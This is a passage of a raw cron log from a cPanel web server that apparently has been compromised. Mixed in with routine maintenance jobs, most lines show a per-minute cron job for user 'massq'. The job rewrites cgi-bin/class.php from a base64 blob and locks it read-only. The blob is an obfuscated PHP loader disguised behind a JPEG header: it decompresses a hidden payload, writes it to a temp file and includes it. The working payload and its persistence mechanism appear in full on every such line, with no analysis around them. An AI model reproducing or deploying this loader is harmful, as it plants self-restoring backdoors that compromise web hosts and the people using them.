TQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:57:01 server CROND[27549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:57:01 server CROND[27550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 23:58:01 server CROND[27605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:59:01 server CROND[27669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:00:01 server CROND[27835]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr 12 00:00:01 server CROND[27836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:00:01 server CROND[27838]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 00:00:01 server CROND[27841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:00:01 server CROND[27840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:00:01 server CROND[27846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:01:01 server CROND[27996]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 00:01:01 server CROND[27997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:01:01 server run-parts(/etc/cron.hourly)[27996]: starting 0anacron
Apr 12 00:01:01 server anacron[28010]: Anacron started on 2025-04-12
Apr 12 00:01:01 server anacron[28010]: Normal exit (0 jobs run)
Apr 12 00:01:01 server run-parts(/etc/cron.hourly)[28012]: finished 0anacron
Apr 12 00:02:01 server CROND[28077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:03:01 server CROND[28134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:04:01 server CROND[28206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:05:01 server CROND[28300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:05:01 server CROND[28305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:05:01 server CROND[28306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:05:01 server CROND[28312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 00:06:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:07:01 server CROND[28726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:08:01 server CROND[28796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:09:01 server CROND[28850]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 00:09:01 server CROND[28851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:10:02 server CROND[28925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:10:02 server CROND[28928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:10:02 server CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
